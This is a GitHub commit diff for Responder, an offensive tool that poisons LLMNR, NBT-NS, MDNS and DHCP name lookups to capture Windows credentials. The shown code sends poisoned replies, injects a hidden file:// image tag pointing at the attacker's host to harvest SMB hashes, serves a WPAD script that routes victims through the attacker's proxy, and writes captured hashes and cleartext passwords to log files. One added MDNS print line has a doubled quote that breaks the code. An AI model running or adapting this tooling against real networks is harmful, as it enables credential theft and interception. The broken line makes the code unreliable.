Merge branch 'master' into timestampoutput

This commit is contained in:
Patch Request 2022-09-24 21:09:34 +02:00 committed by GitHub
commit 3f85903feb
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
11 changed files with 66 additions and 37 deletions

3
.github/FUNDING.yml vendored Normal file
View file

@ -0,0 +1,3 @@
github: lgandx
patreon: PythonResponder
custom: 'https://paypal.me/PythonResponder'

View file

@ -61,6 +61,14 @@ def GetResponderCompleteHash(cursor):
for row in res.fetchall(): for row in res.fetchall():
print('{0}'.format(row[0])) print('{0}'.format(row[0]))
def GetUniqueLookupsIP(cursor):
res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)")
for row in res.fetchall():
if 'fe80::' in row[1]:
pass
else:
print('Protocol: {0}, IP: {1}'.format(row[0], row[1]))
def GetUniqueLookups(cursor): def GetUniqueLookups(cursor):
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner") res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
for row in res.fetchall(): for row in res.fetchall():
@ -99,6 +107,8 @@ print(color("[+] Generating report...\n", code = 3, modifier = 1))
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1)) print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
GetUniqueDHCP(cursor) GetUniqueDHCP(cursor)
print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1))
GetUniqueLookupsIP(cursor)
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1)) print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
GetUniqueLookups(cursor) GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor) GetStatisticUniqueLookups(cursor)

View file

@ -40,6 +40,7 @@ parser.add_option('-u','--upstream-proxy', action="store", help="Upstream H
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False) parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
@ -370,6 +371,9 @@ def main():
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
if settings.Config.Quiet_Mode:
print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1))
if settings.Config.DHCP_On_Off: if settings.Config.DHCP_On_Off:
from poisoners.DHCP import DHCP from poisoners.DHCP import DHCP

View file

@ -346,5 +346,5 @@ def DHCP(DHCP_DNS):
if SrcPort == 67 or DstPort == 67: if SrcPort == 67 or DstPort == 67:
ClientIP = socket.inet_ntoa(data[0][26:30]) ClientIP = socket.inet_ntoa(data[0][26:30])
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS) ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
if ret: if ret and not settings.Config.Quiet_Mode:
print(text("[*] [DHCP] %s" % ret)) print(text("[*] [DHCP] %s" % ret))

10
poisoners/LLMNR.py Executable file → Normal file
View file

@ -59,7 +59,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
LLMNRType = Parse_IPV6_Addr(data) LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True: if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
return None return None
#IPv4 #IPv4
if data[2:4] == b'\x00\x00' and LLMNRType: if data[2:4] == b'\x00\x00' and LLMNRType:
@ -79,7 +79,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
Buffer1.calculate() Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
print(color("%s %s Poisoned answer sent to %s for name %s" % (LineHeader, datetime.datetime.now().strftime("%d-%b-%Y (%H:%M:%S)"), self.client_address[0].replace("::ffff:",""), Name), 2, 1)) print(color("%s %s Poisoned answer sent to %s for name %s" % (LineHeader, datetime.datetime.now().strftime("%d-%b-%Y (%H:%M:%S)"), self.client_address[0].replace("::ffff:",""), Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'LLMNR', 'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
@ -92,7 +95,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
Buffer1.calculate() Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
print(color("%s %s Poisoned answer sent to %s for name %s" % (LineHeader, datetime.datetime.now().strftime("%d-%b-%Y (%H:%M:%S)"), self.client_address[0].replace("::ffff:",""), Name), 2, 1)) print(color("%s %s Poisoned answer sent to %s for name %s" % (LineHeader, datetime.datetime.now().strftime("%d-%b-%Y (%H:%M:%S)"), self.client_address[0].replace("::ffff:",""), Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'LLMNR6', 'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
@ -101,4 +107,4 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
}) })
except: except:
raise pass

13
poisoners/MDNS.py Executable file → Normal file
View file

@ -33,14 +33,14 @@ def Parse_MDNS_Name(data):
NameLen_ = data[1+NameLen] NameLen_ = data[1+NameLen]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1] Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
FinalName = Name+b'.'+Name_ FinalName = Name+b'.'+Name_
return FinalName.decode("latin-1") return FinalName.decode("latin-1").replace("\x05","")
else: else:
data = NetworkRecvBufferPython2or3(data[12:]) data = NetworkRecvBufferPython2or3(data[12:])
NameLen = struct.unpack('>B',data[0])[0] NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen] Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0] NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1] Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_ return Name+'.'+Name_.replace("\x05","")
except IndexError: except IndexError:
return None return None
@ -58,7 +58,7 @@ class MDNS(BaseRequestHandler):
MDNSType = Parse_IPV6_Addr(data) MDNSType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True):
return None return None
LineHeader = "[*] [MDNS]" LineHeader = "[*] [MDNS]"
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
@ -75,7 +75,10 @@ class MDNS(BaseRequestHandler):
Buffer.calculate() Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [MDNS]"
print(color('%s %s Poisoned answer sent to %-15s for name %s' % (LineHeader,datetime.datetime.now().strftime("%d-%b-%Y (%H:%M:%S)"),self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) print(color('%s %s Poisoned answer sent to %-15s for name %s' % (LineHeader,datetime.datetime.now().strftime("%d-%b-%Y (%H:%M:%S)"),self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'MDNS', 'Poisoner': 'MDNS',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
@ -89,7 +92,9 @@ class MDNS(BaseRequestHandler):
Buffer.calculate() Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
print(color('%s %s Poisoned answer sent to %-15s for name %s' % (LineHeader,datetime.datetime.now().strftime("%d-%b-%Y (%H:%M:%S)"),self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) if not settings.Config.Quiet_Mode:
LineHeader = "[*] [MDNS]"
print(color(''%s %s Poisoned answer sent to %-15s for name %s' % (LineHeader,datetime.datetime.now().strftime("%d-%b-%Y (%H:%M:%S)"),self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'MDNS6', 'Poisoner': 'MDNS6',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],

4
poisoners/NBTNS.py Executable file → Normal file
View file

@ -32,7 +32,7 @@ class NBTNS(BaseRequestHandler):
data, socket = self.request data, socket = self.request
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True: if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
return None return None
if data[2:4] == b'\x01\x10': if data[2:4] == b'\x01\x10':
@ -48,6 +48,8 @@ class NBTNS(BaseRequestHandler):
Buffer1 = NBT_Ans() Buffer1 = NBT_Ans()
Buffer1.calculate(data) Buffer1.calculate(data)
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [NBT-NS]" LineHeader = "[*] [NBT-NS]"
print(color("%s %s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader,datetime.datetime.now().strftime("%d-%b-%Y (%H:%M:%S)"), self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) print(color("%s %s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader,datetime.datetime.now().strftime("%d-%b-%Y (%H:%M:%S)"), self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({

1
requirements.txt Normal file
View file

@ -0,0 +1 @@
netifaces==0.10.4

View file

@ -69,9 +69,10 @@ def PacketSequence(data, client, Challenge):
GrabUserAgent(data) GrabUserAgent(data)
GrabCookie(data) GrabCookie(data)
GrabHost(data) GrabHost(data)
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes... #Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
Buffer.calculate() #Buffer.calculate()
return Buffer #Return a TCP RST, so the client uses direct connection and avoids disruption.
return RST
else: else:
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB... return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...

View file

@ -133,6 +133,7 @@ class Settings:
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP) self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
self.DHCP_DNS = options.DHCP_DNS self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6 self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet
if self.Interface == "ALL": if self.Interface == "ALL":
self.Bind_To_ALL = True self.Bind_To_ALL = True
@ -203,7 +204,7 @@ class Settings:
self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>" self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
if len(self.WPAD_Script) == 0: if len(self.WPAD_Script) == 0:
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}'
if self.Serve_Exe == True: if self.Serve_Exe == True:
if not os.path.exists(self.Html_Filename): if not os.path.exists(self.Html_Filename):
@ -220,8 +221,10 @@ class Settings:
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])) self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])) self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
#add a .local to all provided DontRespondToName
self.MDNSTLD = ['.LOCAL']
self.DontRespondToName = [x+y for x in self.DontRespondToName_ for y in ['']+self.MDNSTLD]
#Generate Random stuff for one Responder session #Generate Random stuff for one Responder session
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)]) self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])

View file

@ -337,16 +337,10 @@ def SaveToDb(result):
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname) logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
if not count: if not count:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit() cursor.commit()
if settings.Config.CaptureMultipleHashFromSameHost: if not count or settings.Config.CaptureMultipleHashFromSameHost:
with open(logfile,"a") as outf: with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))